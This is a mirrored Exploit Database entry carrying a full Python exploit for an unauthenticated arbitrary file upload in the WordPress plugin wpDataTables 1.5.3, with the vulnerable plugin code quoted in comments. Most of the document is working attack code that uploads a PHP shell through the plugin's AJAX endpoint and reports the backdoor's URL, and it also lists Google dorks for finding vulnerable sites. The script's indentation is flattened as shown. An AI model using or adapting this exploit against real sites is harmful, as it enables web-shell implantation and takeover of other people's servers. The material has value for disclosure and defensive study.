WordPress Plugin wpDataTables 1.5.3 – Arbitrary File Upload

• Exploit Database
• 13 阅读

• 作者： Claudio Viviani
  日期： 2014-11-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35341/

• #!/usr/bin/python
  #
  # Exploit Name: WordPress wpDataTables 1.5.3 and below Unauthenticated Shell Upload Vulnerability
  # 
  # Vulnerability discovered by Claudio Viviani
  #
  # Date : 2014-11-22
  #
  # Exploit written by Claudio Viviani
  #
  # Video Demo: https://www.youtube.com/watch?v=44m4VNpeEVc
  #
  # --------------------------------------------------------------------
  #
  # Issue n.1 (wpdatatables.php)
  #
  # This function is always available without wpdatatables edit permission:
  #
  #function wdt_upload_file(){
  #require_once(PDT_ROOT_PATH.'lib/upload/UploadHandler.php');
  #$uploadHandler = new UploadHandler();
  #exit();
  #}
  #...
  #...
  #...
  #add_action( 'wp_ajax_wdt_upload_file', 'wdt_upload_file' );
  #add_action( 'wp_ajax_nopriv_wdt_upload_file', 'wdt_upload_file' );
  # 
  #
  # Issue n.2 (lib/upload/UploadHandler.php)
  #
  # This php script allows you to upload any type of file
  #
  # ---------------------------------------------------------------------
  #
  # Dork google:inurl:/plugins/wpdatatables
  # inurl:codecanyon-3958969
  # index of "wpdatatables"
  # index of "codecanyon-3958969"
  #
  # Tested on BackBox 3.x
  #
  #
  # http connection
  import urllib, urllib2, sys, re
  # Args management
  import optparse
  # file management
  import os, os.path
  
  # Check url
  def checkurl(url):
  if url[:8] != "https://" and url[:7] != "http://":
  print('[X] You must insert http:// or https:// procotol')
  sys.exit(1)
  else:
  return url
  
  # Check if file exists and has readable
  def checkfile(file):
  if not os.path.isfile(file) and not os.access(file, os.R_OK):
  print '[X] '+file+' file is missing or not readable'
  sys.exit(1)
  else:
  return file
  
  # Create multipart header
  def create_body_sh3ll_upl04d(payloadname):
  
   getfields = dict()
  
   payloadcontent = open(payloadname).read()
  
   LIMIT = '----------lImIt_of_THE_fIle_eW_$'
   CRLF = '\r\n'
  
   L = []
   for (key, value) in getfields.items():
  L.append('--' + LIMIT)
  L.append('Content-Disposition: form-data; name="%s"' % key)
  L.append('')
  L.append(value)
  
   L.append('--' + LIMIT)
   L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))
   L.append('Content-Type: application/force-download')
   L.append('')
   L.append(payloadcontent)
   L.append('--' + LIMIT + '--')
   L.append('')
   body = CRLF.join(L)
   return body
  
  banner = """
   ___ ___ __ 
  | Y .-----.----.--|.-----.----.-----.-----.-----. 
  |.| |_| _|_|_| _|-__|__ --|__ --| 
  |. / \|_____|__| |_____| __|__| |_____|_____|_____| 
  |:||__| 
  |::.|:. | 
  `--- ---' 
   ___ ___ ______ __ _______ ____
  | Y .-----| _\ .---.-||_.---.-| .---.-||--|.-----.-----. 
  |.| |_|.| \|_| _|_|.| | |_|_||-__|__ --| 
  |. / \| __|.||___._|____|___._`-|.|-|___._|_____|__|_____|_____| 
  |:|__||:1/|:|
  |::.|:. | |::.. . / |::.|
  `--- ---' `------'`---'
   
  Sh311 Upl04d Vuln3r4b1l1ty 
  <= 1.5.3
  
   Written by:
  
   Claudio Viviani
  
  http://www.homelab.it
  
   info@homelab.it
   homelabit@protonmail.ch
  
  https://www.facebook.com/homelabit
  https://twitter.com/homelabit
  https://plus.google.com/+HomelabIt1/
   https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  """
  
  commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')
  commandList.add_option('-t', '--target', action="store",
  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
  )
  commandList.add_option('-f', '--file', action="store",
  help="Insert file name, ex: shell.php",
  )
  commandList.add_option('--timeout', action="store", default=10, type="int",
  help="[Timeout Value] - Default 10",
  )
  
  options, remainder = commandList.parse_args()
  
  # Check args
  if not options.target or not options.file:
  print(banner)
  commandList.print_help()
  sys.exit(1)
  
  payloadname = checkfile(options.file)
  host = checkurl(options.target)
  timeout = options.timeout
  
  print(banner)
  
  url_wpdatatab_upload = host+'/wp-admin/admin-ajax.php?action=wdt_upload_file'
  
  content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'
  
  bodyupload = create_body_sh3ll_upl04d(payloadname)
  
  headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
   'content-type': content_type,
   'content-length': str(len(bodyupload)) }
  
  try:
   req = urllib2.Request(url_wpdatatab_upload, bodyupload, headers)
   response = urllib2.urlopen(req)
  
   read = response.read()
  
   if "error" in read or read == "0":
  print("[X] Upload Failed :(")
   else:
  backdoor_location = re.compile('\"url\":\"(.*?)\",\"').search(read).group(1)
  print("[!] Shell Uploaded")
  print("[!] Location: "+backdoor_location.replace("\\",""))
  except urllib2.HTTPError as e:
   print("[X] Http Error: "+str(e))
  except urllib2.URLError as e:
   print("[X] Connection Error: "+str(e))